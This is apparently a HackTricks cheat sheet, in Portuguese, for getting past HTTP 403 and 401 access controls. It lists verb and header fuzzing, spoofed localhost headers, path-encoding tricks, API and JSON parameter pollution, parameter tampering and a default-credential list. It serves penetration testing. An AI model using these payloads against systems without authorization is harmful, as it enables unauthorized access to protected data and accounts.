403 & 401 Bypasses

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até o relatório. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.

Fuzzing de Verbos/Métodos HTTP

Tente usar diferentes verbos para acessar o arquivo: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Verifique os cabeçalhos de resposta, talvez algumas informações possam ser fornecidas. Por exemplo, uma resposta 200 para HEAD com Content-Length: 55 significa que o verbo HEAD pode acessar as informações. Mas você ainda precisa encontrar uma maneira de extrair essas informações.

  • Usar um cabeçalho HTTP como X-HTTP-Method-Override: PUT pode sobrescrever o verbo usado.

  • Use o verbo TRACE e, se tiver muita sorte, talvez na resposta você possa ver também os cabeçalhos adicionados por proxies intermediários que podem ser úteis.

Fuzzing de Cabeçalhos HTTP

  • Alterar o cabeçalho Host para algum valor arbitrário (que funcionou aqui)

  • Tente usar outros Agentes de Usuário para acessar o recurso.

  • Fuzz de Cabeçalhos HTTP: Tente usar Cabeçalhos de Proxy HTTP, Autenticação HTTP Básica e força bruta NTLM (com apenas algumas combinações) e outras técnicas. Para fazer tudo isso, criei a ferramenta fuzzhttpbypass.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Se o caminho estiver protegido, você pode tentar ignorar a proteção do caminho usando esses outros cabeçalhos:

  • X-Original-URL: /admin/console

  • X-Rewrite-URL: /admin/console

  • Se a página estiver atrás de um proxy, talvez seja o proxy que esteja impedindo você de acessar as informações privadas. Tente abusar de HTTP Request Smuggling ou cabeçalhos hop-by-hop.

  • Fuzz de cabeçalhos HTTP especiais procurando por respostas diferentes.

  • Fuzz de cabeçalhos HTTP especiais enquanto faz o fuzzing de Métodos HTTP.

  • Remova o cabeçalho Host e talvez consiga ignorar a proteção.

Fuzzing de Caminho

Se /caminho estiver bloqueado:

  • Tente usar /%2e/caminho _(se o acesso for bloqueado por um proxy, isso pode ignorar a proteção). Tente também_** /%252e**/caminho (codificação de URL dupla)

  • Tente ignorar Unicode: /%ef%bc%8fcaminho (Os caracteres codificados em URL são como "/") então, quando decodificados novamente, será //caminho e talvez você já tenha ignorado a verificação de nome /caminho

  • Outros bypasses de caminho:

  • site.com/secret –> HTTP 403 Proibido

  • site.com/SECRET –> HTTP 200 OK

  • site.com/secret/ –> HTTP 200 OK

  • site.com/secret/. –> HTTP 200 OK

  • site.com//secret// –> HTTP 200 OK

  • site.com/./secret/.. –> HTTP 200 OK

  • site.com/;/secret –> HTTP 200 OK

  • site.com/.;/secret –> HTTP 200 OK

  • site.com//;//secret –> HTTP 200 OK

  • site.com/secret.json –> HTTP 200 OK (ruby)

  • Use toda esta lista nas seguintes situações:

  • /FUZZsecret

  • /FUZZ/secret

  • /secretFUZZ

  • Outros bypasses de API:

  • /v3/users_data/1234 --> 403 Proibido

  • /v1/users_data/1234 --> 200 OK

  • {“id”:111} --> 401 Não autorizado

  • {“id”:[111]} --> 200 OK

  • {“id”:111} --> 401 Não autorizado

  • {“id”:{“id”:111}} --> 200 OK

  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (Poluição de Parâmetros JSON)

  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Poluição de Parâmetros)

Manipulação de Parâmetros

  • Alterar o valor do parâmetro: De id=123 --> id=124

  • Adicionar parâmetros adicionais à URL: ?id=124 —-> id=124&isAdmin=true

  • Remover os parâmetros

  • Reordenar os parâmetros

  • Utilizar caracteres especiais.

  • Realizar testes de limite nos parâmetros — fornecer valores como -234 ou 0 ou 99999999 (apenas alguns valores de exemplo).

Versão do Protocolo

Se estiver usando HTTP/1.1, tente usar 1.0 ou até mesmo teste se suporta 2.0.

Outras Formas de Bypass

Força Bruta

  • Adivinhar a senha: Teste as seguintes credenciais comuns. Você sabe algo sobre a vítima? Ou o nome do desafio CTF?

  • Força bruta: Tente autenticação básica, digest e NTLM.

Credenciais Comuns
admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

Ferramentas Automáticas

Configuração instantaneamente disponível para avaliação de vulnerabilidades e teste de penetração. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde a reconstrução até a geração de relatórios. Não substituímos os pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.

Aprenda hacking na AWS de zero a herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks:

Last updated